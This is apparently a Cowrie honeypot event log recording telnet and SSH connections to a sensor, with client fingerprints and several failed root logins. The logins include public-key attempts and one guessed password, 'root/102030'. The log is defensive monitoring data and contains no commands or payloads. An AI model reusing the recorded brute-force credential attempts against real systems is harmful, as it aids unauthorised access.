{"eventid":"cowrie.session.closed","duration":33.970694065093994,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:33.064378Z","src_ip":"128.199.8.54","session":"6a9fdc9f65f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.828176498413086,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:37.018569Z","src_ip":"128.199.8.54","session":"b183e8b15b70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60566,"dst_ip":"159.203.135.109","dst_port":23,"session":"47a1ddc55279","protocol":"telnet","message":"New connection: 128.199.8.54:60566 (159.203.135.109:23) [session: 47a1ddc55279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:43.589753Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.247","src_port":46368,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c8ff878fb7b","protocol":"ssh","message":"New connection: 78.111.67.247:46368 (10.17.0.5:22) [session: 9c8ff878fb7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:47.482558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:47.487225Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:47.577523Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:46:45:c7:ef:53:ff:b8:de:2c:a9:9e:fb:9b:58:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnoFPeEElkCRE6BXMXmZ4oHXuHP9UIvqTaIeXmsWgl55PS0nSn7XAI+mk2e2Lu1wK4qU9IIuut9CFgSQ2ccmO4zrCO1QVEPp5PrM+OXZu0/0mhYhx1shS215+9BNrP+1eSVcb2qqnZ+rN6ezW+hbES4VC345CP38jJ1JL4t5dh+Cu9A8rL6xTe7XTDnKp+NKP1TYeDuD4BAt/FBBg+BSwdTOyvqDqxuDmzReMh+lef7XBD3TOwC2cKiaYGkX9ju30smo1rhSwLy52weiRriwpoSAl5SO8H3JcsRkUAsi33XDqzYw9qyluEcx50bafbbkuqLEpiDxVBfCaAyIgYcQcn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:46:45:c7:ef:53:ff:b8:de:2c:a9:9e:fb:9b:58:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.009757Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:46:45:c7:ef:53:ff:b8:de:2c:a9:9e:fb:9b:58:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnoFPeEElkCRE6BXMXmZ4oHXuHP9UIvqTaIeXmsWgl55PS0nSn7XAI+mk2e2Lu1wK4qU9IIuut9CFgSQ2ccmO4zrCO1QVEPp5PrM+OXZu0/0mhYhx1shS215+9BNrP+1eSVcb2qqnZ+rN6ezW+hbES4VC345CP38jJ1JL4t5dh+Cu9A8rL6xTe7XTDnKp+NKP1TYeDuD4BAt/FBBg+BSwdTOyvqDqxuDmzReMh+lef7XBD3TOwC2cKiaYGkX9ju30smo1rhSwLy52weiRriwpoSAl5SO8H3JcsRkUAsi33XDqzYw9qyluEcx50bafbbkuqLEpiDxVBfCaAyIgYcQcn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.013640Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:f6:d0:e6:0d:2f:ea:35:ed:b2:9a:d2:d5:5e:2f:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXcs9nAja12RTngioaiIauJzImDvis4t8zIGp534Y5aSNoKFrzWZBZne4kVeK4Z4sEsZlLUbt2WxhpfdbqabRQKeP8PCTivUmCemlCuUtsXjFK2EPMkN3M7cywddBhWPuQi31IqldvnS4FaLv/lUdqvQ6fdJU07MsfuAQjVkkT6QTemgnextrGzFEgaT5aXQ2UNHPmymc/49Rniociw4zP0XtD/aPFuqYDsYQHUYOgRKXdj50q0YOtmXhGXdHGEu3UXeBBks4IzenNK7fUet9htbljxEbzUygqDdtkLLEh7OiO7qbiXdLTbtnZ085OXcWUCqzCIGRkQkPazTXYLlsgzoCEsFfvZa1fCgMGBfYWNNYr8csOJRZn0LYQrJryseNvHbcgHGb7orpo/E7M380O6ByWdAg2NjWe6jm5a0xGZipYtGYh7AitGutCZrKGfVx5Jl56uL6JWjEpHH3RN+/pN6xTMWHXBMFYZODawEbRK8xfwlevUbeVO3osRk8og8Vm67xxHpEtSQXuVu4aVan0X+fjapQH0hTvr7CgfKwGt49TXAsgJ4HYMNEq1tzsRGy240yH3lz3HN0jLYDViuKIJk47EGz/q5v0x6YsYzqk5fOyZB56VQ4eyr6VxnSf2rfzr/fxOMJc7/7tGuH1Ou9E9XGHei+CNb+MjEwvH7oIIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:f6:d0:e6:0d:2f:ea:35:ed:b2:9a:d2:d5:5e:2f:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.104979Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:f6:d0:e6:0d:2f:ea:35:ed:b2:9a:d2:d5:5e:2f:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXcs9nAja12RTngioaiIauJzImDvis4t8zIGp534Y5aSNoKFrzWZBZne4kVeK4Z4sEsZlLUbt2WxhpfdbqabRQKeP8PCTivUmCemlCuUtsXjFK2EPMkN3M7cywddBhWPuQi31IqldvnS4FaLv/lUdqvQ6fdJU07MsfuAQjVkkT6QTemgnextrGzFEgaT5aXQ2UNHPmymc/49Rniociw4zP0XtD/aPFuqYDsYQHUYOgRKXdj50q0YOtmXhGXdHGEu3UXeBBks4IzenNK7fUet9htbljxEbzUygqDdtkLLEh7OiO7qbiXdLTbtnZ085OXcWUCqzCIGRkQkPazTXYLlsgzoCEsFfvZa1fCgMGBfYWNNYr8csOJRZn0LYQrJryseNvHbcgHGb7orpo/E7M380O6ByWdAg2NjWe6jm5a0xGZipYtGYh7AitGutCZrKGfVx5Jl56uL6JWjEpHH3RN+/pN6xTMWHXBMFYZODawEbRK8xfwlevUbeVO3osRk8og8Vm67xxHpEtSQXuVu4aVan0X+fjapQH0hTvr7CgfKwGt49TXAsgJ4HYMNEq1tzsRGy240yH3lz3HN0jLYDViuKIJk47EGz/q5v0x6YsYzqk5fOyZB56VQ4eyr6VxnSf2rfzr/fxOMJc7/7tGuH1Ou9E9XGHei+CNb+MjEwvH7oIIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.107538Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:95:a1:94:08:38:c3:9c:9a:58:82:0b:1d:73:e9:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIu0asMoPHwjbfYQJTD+KAWosLb/gch56ArsyR0aAHx0niujAl4z9efe4ZZJvxlds1TFSynKZo1XAf97ktE4yQPqF3dPb1EOadCEia37ztxaiau37kO7WMOxrbYCo9Ulqwnu2d8Uy9qcqu4Gw7Gm+KEKdMqrW9KJHE4HJE3WaX39mSWNSTrRQ9ZxW754P0DNVvjWBtfNQDXddSvXuiCg7Y302BU4tHfPMwBnIA+6htlqUBXOju1Y9dPbV5cV/XlBAN+G/8YC9LUizOWrQeHKGe8fUfxf4j5P2LjMxYLF4ggSuCpvjdlURd6LJ4MKW0iDFrD3usCnzC7Lcs9oT7e0HUXwZyonMJn0QJ2IE7ndxvC3Ym8x/MIAb/Xyi920bvmQfWeATB5i+2hW0lR4eiwBxG/HzyPmNBoovJik0a5eEgWXjSmIr7EN+xq221Bgf6icZS+7lT0bGyT5hP85VBodvYYei3RZFhw1wKmdB+36Ccuwo2kOyR/hySccBceAKnRSCCG1cPnieLAcn1pO1LnlonBR8l7hjbVAIoSBArnOd03LkV/8iP6IbW8tOhMMTMovegzja5OaTS7XeUYK+8Wd8GbpFHgCqEhWaeT4ZS+VJTImpAYnI5qE7TZsChrNDCT9uGqvAgWnR5nkzvUzLohsAz2ezYE12fj7VS9wFFKlM+Yw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:95:a1:94:08:38:c3:9c:9a:58:82:0b:1d:73:e9:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.199082Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:95:a1:94:08:38:c3:9c:9a:58:82:0b:1d:73:e9:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIu0asMoPHwjbfYQJTD+KAWosLb/gch56ArsyR0aAHx0niujAl4z9efe4ZZJvxlds1TFSynKZo1XAf97ktE4yQPqF3dPb1EOadCEia37ztxaiau37kO7WMOxrbYCo9Ulqwnu2d8Uy9qcqu4Gw7Gm+KEKdMqrW9KJHE4HJE3WaX39mSWNSTrRQ9ZxW754P0DNVvjWBtfNQDXddSvXuiCg7Y302BU4tHfPMwBnIA+6htlqUBXOju1Y9dPbV5cV/XlBAN+G/8YC9LUizOWrQeHKGe8fUfxf4j5P2LjMxYLF4ggSuCpvjdlURd6LJ4MKW0iDFrD3usCnzC7Lcs9oT7e0HUXwZyonMJn0QJ2IE7ndxvC3Ym8x/MIAb/Xyi920bvmQfWeATB5i+2hW0lR4eiwBxG/HzyPmNBoovJik0a5eEgWXjSmIr7EN+xq221Bgf6icZS+7lT0bGyT5hP85VBodvYYei3RZFhw1wKmdB+36Ccuwo2kOyR/hySccBceAKnRSCCG1cPnieLAcn1pO1LnlonBR8l7hjbVAIoSBArnOd03LkV/8iP6IbW8tOhMMTMovegzja5OaTS7XeUYK+8Wd8GbpFHgCqEhWaeT4ZS+VJTImpAYnI5qE7TZsChrNDCT9uGqvAgWnR5nkzvUzLohsAz2ezYE12fj7VS9wFFKlM+Yw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.203979Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:2c:2a:cf:8d:49:3e:ed:ff:ea:3c:ea:0d:03:e2:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsKq+lEL95fhVBbfcb+mD52WuIsd9/y05xYZyWhCd/d+WBX/eAYL7Ygq2bHY/d3IquhXakp2TwyRt/r2hlLqoT8teFTvErRcOdxF60s0zifFHPXdyzpYNVaoGaNvpsYcvrjygVykRdB/TrNXzKrMKxDEtkIcPZB3E+1rGY3olYQrPKmGbl5AwmXREG2q8f5TwEoXBNr4d/D2qpsT/468sJBoh8r0vxu5Dd5yZfT+IWH5V8GrQDttChSxMTzY63/+YnGCHvbYNzkYFbjSAh/ggDhJyOb1bXwR3FZlplKuQrVBq+dhmhvst21oTZlVlK0ejvkRvOiDOFiSBAQ+94utTtfx/xa4+RHsjM2jHyG7EYtHgyIcy2cm6MLIBQk2YJNgfoI1/ETqR6Ptvn4IwSsidd+K06cE3/uV888f/t0fYX3QUe4eLvrmUZl0TjtF1yfWx8crcNp4xl6sSxRBoIwXpl4xr6t7k69rnmn7dJkN+hg+gWLXgwZS/+THdk4ZeH2yQPQ1WFeDm00B7IE2RTv4HfjZq0E5d3y2jic7FhMRWyuAsI2RVCDo2NvTwEShREZZ/4omVNNsUrrvuzYdmWsUIrPoS+17IP6sY+RjFCYcK2ryluYrdCtcKhQstjomxinRiJGsONlJ3l/r13pn7vXpWZE5QnYbSaY2HuEjTSmqF1+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:2c:2a:cf:8d:49:3e:ed:ff:ea:3c:ea:0d:03:e2:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.296410Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:2c:2a:cf:8d:49:3e:ed:ff:ea:3c:ea:0d:03:e2:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsKq+lEL95fhVBbfcb+mD52WuIsd9/y05xYZyWhCd/d+WBX/eAYL7Ygq2bHY/d3IquhXakp2TwyRt/r2hlLqoT8teFTvErRcOdxF60s0zifFHPXdyzpYNVaoGaNvpsYcvrjygVykRdB/TrNXzKrMKxDEtkIcPZB3E+1rGY3olYQrPKmGbl5AwmXREG2q8f5TwEoXBNr4d/D2qpsT/468sJBoh8r0vxu5Dd5yZfT+IWH5V8GrQDttChSxMTzY63/+YnGCHvbYNzkYFbjSAh/ggDhJyOb1bXwR3FZlplKuQrVBq+dhmhvst21oTZlVlK0ejvkRvOiDOFiSBAQ+94utTtfx/xa4+RHsjM2jHyG7EYtHgyIcy2cm6MLIBQk2YJNgfoI1/ETqR6Ptvn4IwSsidd+K06cE3/uV888f/t0fYX3QUe4eLvrmUZl0TjtF1yfWx8crcNp4xl6sSxRBoIwXpl4xr6t7k69rnmn7dJkN+hg+gWLXgwZS/+THdk4ZeH2yQPQ1WFeDm00B7IE2RTv4HfjZq0E5d3y2jic7FhMRWyuAsI2RVCDo2NvTwEShREZZ/4omVNNsUrrvuzYdmWsUIrPoS+17IP6sY+RjFCYcK2ryluYrdCtcKhQstjomxinRiJGsONlJ3l/r13pn7vXpWZE5QnYbSaY2HuEjTSmqF1+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.299901Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:dd:07:2b:49:0d:aa:18:5a:eb:ea:5b:3a:54:90:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC28MFTO/iWIs3g+RhhBfkicjm15JsUgVAzV+3ZtponTu5B8n/Xywb3qMjjy3rdNNRC/Ow7i3+SI/7PziLr9liricFKl/VkIhGUrOZwTMU6OdzqPqear7T1Kn/FmT8Chx2gXtxmwfOoF7rapmL270W1Uw1ia5isjJ5rU58B0VD+evWjVwXG+4ThkdWCmvvZwATdXGX1vTLYevyu8AaeIebzRmbdexdel/nfRBsxpS17Fl9K0PTClfjjAIlGJAGQ7sb3BH/p0NaNXDYKXqIZasRNlA1O5mY++YB82nrHkmT3PhDasXfTqtGk+99oe/5c/xbBmnyjiKgtOWumF752YK/r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:dd:07:2b:49:0d:aa:18:5a:eb:ea:5b:3a:54:90:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.391207Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:dd:07:2b:49:0d:aa:18:5a:eb:ea:5b:3a:54:90:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC28MFTO/iWIs3g+RhhBfkicjm15JsUgVAzV+3ZtponTu5B8n/Xywb3qMjjy3rdNNRC/Ow7i3+SI/7PziLr9liricFKl/VkIhGUrOZwTMU6OdzqPqear7T1Kn/FmT8Chx2gXtxmwfOoF7rapmL270W1Uw1ia5isjJ5rU58B0VD+evWjVwXG+4ThkdWCmvvZwATdXGX1vTLYevyu8AaeIebzRmbdexdel/nfRBsxpS17Fl9K0PTClfjjAIlGJAGQ7sb3BH/p0NaNXDYKXqIZasRNlA1O5mY++YB82nrHkmT3PhDasXfTqtGk+99oe/5c/xbBmnyjiKgtOWumF752YK/r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.395265Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:48.489284Z","src_ip":"78.111.67.247","session":"9c8ff878fb7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53990,"dst_ip":"159.203.135.109","dst_port":23,"session":"2360d33ed226","protocol":"telnet","message":"New connection: 128.199.8.54:53990 (159.203.135.109:23) [session: 2360d33ed226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:54.007132Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36002,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c83cc6b5a2d","protocol":"telnet","message":"New connection: 128.199.8.54:36002 (159.203.135.109:23) [session: 5c83cc6b5a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:58.966476Z"}
{"eventid":"cowrie.session.closed","duration":31.136600017547607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:02.133313Z","src_ip":"208.92.193.123","session":"0e08cf5cfb83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54276,"dst_ip":"10.17.0.5","dst_port":22,"session":"13ff280d6509","protocol":"ssh","message":"New connection: 103.15.226.202:54276 (10.17.0.5:22) [session: 13ff280d6509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:06.145965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:06.151322Z","src_ip":"103.15.226.202","session":"13ff280d6509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:06.401791Z","src_ip":"103.15.226.202","session":"13ff280d6509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:07.163275Z","src_ip":"103.15.226.202","session":"13ff280d6509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53344,"dst_ip":"159.203.135.109","dst_port":23,"session":"78beff0c15fe","protocol":"telnet","message":"New connection: 128.199.8.54:53344 (159.203.135.109:23) [session: 78beff0c15fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:07.384559Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:08.416551Z","src_ip":"103.15.226.202","session":"13ff280d6509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.24113178253174,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:17.830747Z","src_ip":"128.199.8.54","session":"47a1ddc55279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47794,"dst_ip":"159.203.135.109","dst_port":23,"session":"74f2b762ce44","protocol":"telnet","message":"New connection: 128.199.8.54:47794 (159.203.135.109:23) [session: 74f2b762ce44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:18.812407Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53782,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf70ebc025c","protocol":"telnet","message":"New connection: 128.199.8.54:53782 (159.203.135.109:23) [session: 7bf70ebc025c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:21.786136Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57320,"dst_ip":"159.203.135.109","dst_port":23,"session":"c97fca1e61b3","protocol":"telnet","message":"New connection: 128.199.8.54:57320 (159.203.135.109:23) [session: c97fca1e61b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:23.574946Z"}
{"eventid":"cowrie.session.closed","duration":35.20167541503906,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:29.208683Z","src_ip":"128.199.8.54","session":"2360d33ed226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39252,"dst_ip":"159.203.135.109","dst_port":23,"session":"74f180011241","protocol":"telnet","message":"New connection: 128.199.8.54:39252 (159.203.135.109:23) [session: 74f180011241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:29.717270Z"}
{"eventid":"cowrie.session.closed","duration":32.48362469673157,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:31.450000Z","src_ip":"128.199.8.54","session":"5c83cc6b5a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52676,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ec83c09d75","protocol":"telnet","message":"New connection: 128.199.8.54:52676 (159.203.135.109:23) [session: f6ec83c09d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:35.502801Z"}
{"eventid":"cowrie.session.closed","duration":37.11747860908508,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:44.501920Z","src_ip":"128.199.8.54","session":"78beff0c15fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.703835010528564,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:53.516119Z","src_ip":"128.199.8.54","session":"74f2b762ce44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":15227,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d4362439eb2","protocol":"ssh","message":"New connection: 193.24.211.100:15227 (159.203.135.109:22) [session: 5d4362439eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:56.473545Z"}
